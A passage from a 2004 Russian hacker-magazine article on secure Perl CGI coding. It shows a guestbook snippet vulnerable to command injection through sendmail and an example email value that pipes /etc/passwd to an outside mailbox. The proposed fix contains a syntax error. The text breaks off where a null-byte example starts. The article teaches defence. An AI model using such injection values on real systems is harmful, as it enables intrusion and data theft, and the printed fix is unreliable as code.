Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #69, СЕНТЯБРЬ 2004 г.

Железный скрипт

Докучаев Дмитрий aka Forb

Xakep, номер #069, стр. 069-130-1


(forb@real.xakep.ru)

Основы безопасного кодинга на Perl

Когда непросвещенному человеку нужен скрипт гостевухи, он либо ищет его в инете, либо пишет сам. Только пара-тройка людей из десяти задумывается над вопросом безопасности сценария. И они правильно делают, потому что ошибки есть практически в любом коде, и их необходимо своевременно исправлять. Мечтаешь научиться этому? Тогда слушай сюда!

Доверяй, но проверяй!

Если в сишном коде программиста заботит переполнение буфера, то web-разработчика в первую очередь должны волновать параметры, передаваемые CGI-сценарию. В идеальном случае скрипт стойко выдерживает любой запрос, однако подобные сценарии я встречал очень редко. Все потому что умные программисты никогда не показывают свои исходники, а свободно распространяемые скрипты, как правило, всегда дырявые.

Возьми себе за правило: скачал скрипт из инета – просмотри его с ног до головы. В первую очередь, выкинь все ненужные функции (в сценариях часто встречаются комментарии к коду) и перепиши непонятные. Дело в том, что «умелые» программисты любят извращать код собственными алгоритмами даже в тех случаях, когда процедуру можно написать при помощи простого и надежного модуля.

Правильный Sendmail

Типичная ситуация: ты скачал фриварный скрипт гостевухи и не знаешь, насколько он безопасен. Руководствуясь моим советом, ты открываешь сорцы скрипта, анализируешь их и видишь небольшой кусочек кода подобного содержания:

Благодарственное письмо

Use CGI qw(:standard);

$email=param(‘email’);

open(MAIL,"|/usr/sbin/sendmail –t $email");

print MAIL "From: admin@lamer.ru\n";

print MAIL "Subject: Thanks\n\nThank you!\n";

close(MAIL);

На первый взгляд, код не представляет ничего опасного. Но только на первый. Помнишь, что я говорил про входные параметры? Тебя должно насторожить, что переменная $email не проверяется на спецсимволы. К тому же, в коде используется вызов внешнего бинарника sendmail, который запускается для приема данных через STDIN-поток. Его ключик –t отвечает за то, что адрес получателя можно указать прямо в командной строке, как и сделано в коде гостевухи. А что если злобный хакер введет свой e-mail в виде xakep@xakep.ru|cat /etc/passwd|mail xakep@xakep.ru?

В этом случае хакеру в ящик свалятся целых два письма. Первое с благодарностью, второе с файлом /etc/passwd :).

Поразительно, но многие программисты до сих пор юзают sendmail с ключом –t и не проверяют входные данные, подвергая свой сайт взлому. Чтобы пофиксить баг, тебе придется отказаться от этой опции, а адрес задавать уже после открытия потока. А еще обязательно проверить переменную $email на подозрительные символы.

die print "Incorrect address!\n" if ($email=~/[\|;]/ || $email~!/\@/);

open(MAIL,"|/usr/sbin/sendmail");

print MAIL "To: $email\n";

.............

Предательский байт

Следующая, более коварная ошибка встречается гораздо чаще, чем кривой вызов sendmail. Баг основан на так называемой обработке нуль-байта. В сишных функциях подобный байтик является признаком конца строки. Соответственно, как только он встречается, функция не обрабатывает дальнейшие чары в строке. Однако Perl так не считает :). Перловая строка может содержать любые байты, даже нулевой. В результате подобной рассинхронизации взломщик может хакнуть твой скрипт. Непонятно? Рассмотрим на примере. Допустим, в той же гостевухе ты встречаешь следующий код:

Содержание  Вперед на стр. 069-130-2